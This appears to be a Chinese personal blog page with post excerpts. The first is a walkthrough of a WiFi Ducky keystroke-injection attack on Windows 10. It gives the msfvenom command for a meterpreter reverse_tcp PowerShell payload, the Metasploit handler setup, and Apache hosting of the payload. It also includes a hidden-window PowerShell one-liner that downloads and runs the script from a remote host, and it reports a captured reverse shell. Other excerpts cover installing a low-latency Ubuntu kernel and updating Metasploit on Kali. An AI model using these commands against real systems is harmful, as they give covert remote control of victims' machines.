bughuang

材料 一个 wifiducky一台 kali 先介绍一下wifiducky 使用充当键盘的USB设备来注入攻击，Hak5 的 USB Rubber Ducky 是这种攻击的黑客小工具。它引入了一个简单的脚本语言，称为Ducky Script，这个项目也是这样使用的。 制作msf powershell 木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.132.130 LPORT=1234 -f psh-reflection >1.ps1 开启msf监听 use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.132.130set lport 1234run 开启apach2 让靶机可以访问你的木马 service apache2 startcp 1.ps1 /var/www/html 现在就可以插上你的wifiducky搞事情了 这个是wifiducky的界面，要刷机过后才会有的 成功反弹shell 上面的都是wifiducky的代码，下面的这句是最重要的一句代码 powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.135.100/1.ps1');shell.ps1" 已经拿下win10的权限，已经成功反弹shell了 其实WifiDucky有很多种玩法我这个是在局域网上面的，如果有外网可以搭建一个vps然后让靶机访问vps，这样就可以做到远程反弹shell，主要还是攻击的思路。

这个实验也是我做了很长的时间，网上的文章都是各种坑，我做的时候几乎是所有的问题都被我遇上过哈哈哈,如果不懂就在下方留言8. 更新一下ubuntu 首先运行software-updater 终端执行以下命令:sudo apt-get update && sudo apt-get upgrade -y && sudo apt-get dist-upgrade -y && sudo apt autoremove -y && sudo apt autoclean -y 操作系统调整 更换4.15的内核: wget linux-headers-4.15.18-041518_4.15.18-041518.201804190330_all.deb wget linux-headers-4.15.18-041518-lowlatency_4.15.18-041518.201804190330_amd64.deb wget linux-image-4.15.18-041518-lowlatency_4.15.18-041518.201804190330_amd64.deb sudo dpkg -i *.debsudo update-grubsudo reboot 参考ubuntu 16.04低延迟内核安装低延时内核CPU调整为最大性能模式,并且不允许降低频率 sudo apt-get install cpufrequtils sudo touch /etc/default/cpufrequtils sudo sed -i "/GOVERNOR.*/d" /etc/default/cpufrequtils test… Continue reading ubuntu 16.04系统LimeSDR MINi使用OpenAirInterface搭建LTE实验环境 →

在某些特殊环境中，比如音视频实时处理(比如MIDI)，无线电数据的编解码（比如OpenAirInterface- https://gitlab.eurecom.fr/oai/openairinterface5g/wikis/OpenAirKernelMainSetup明确要求使用低延时内核）等情况下，我们希望系统尽可能的实时，同时又不会降低太多的性能（实时性越高，性能，功耗等的损失越大）。这种情况下，我们可以尝试使用低延时内核。 我在Ubuntu社区上看到这么一段解释： If you do not require low latency for your system then please use the -generic kernel.If you need a low latency system (e.g. for recording audio) then please use the -preempt kernel as a fist choice. This reduces latency but doesn't sacrifice power saving features. It is available only for 64 bit… Continue reading ubuntu 16.04的低延迟内核 →

听说msf5已经更新 很多人都会出现一堆报错，听说还一定要手动下载我是不会哒 官方release note: https://blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released/ Kali 在 /etc/apt/sources.list 中添加 kali-experimental版本源 deb http://mirrors.aliyun.com/kali kali-experimental main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-experimental main non-free contrib 我是在虚拟机更新的，代码如下: sudo apt update; apt install metasploit-framework 很多人会问，为什么不卸载后更新msf5，因为卸载了msf后armitage也会消失，还要自己下载一次，还不如直接更新。 合影一波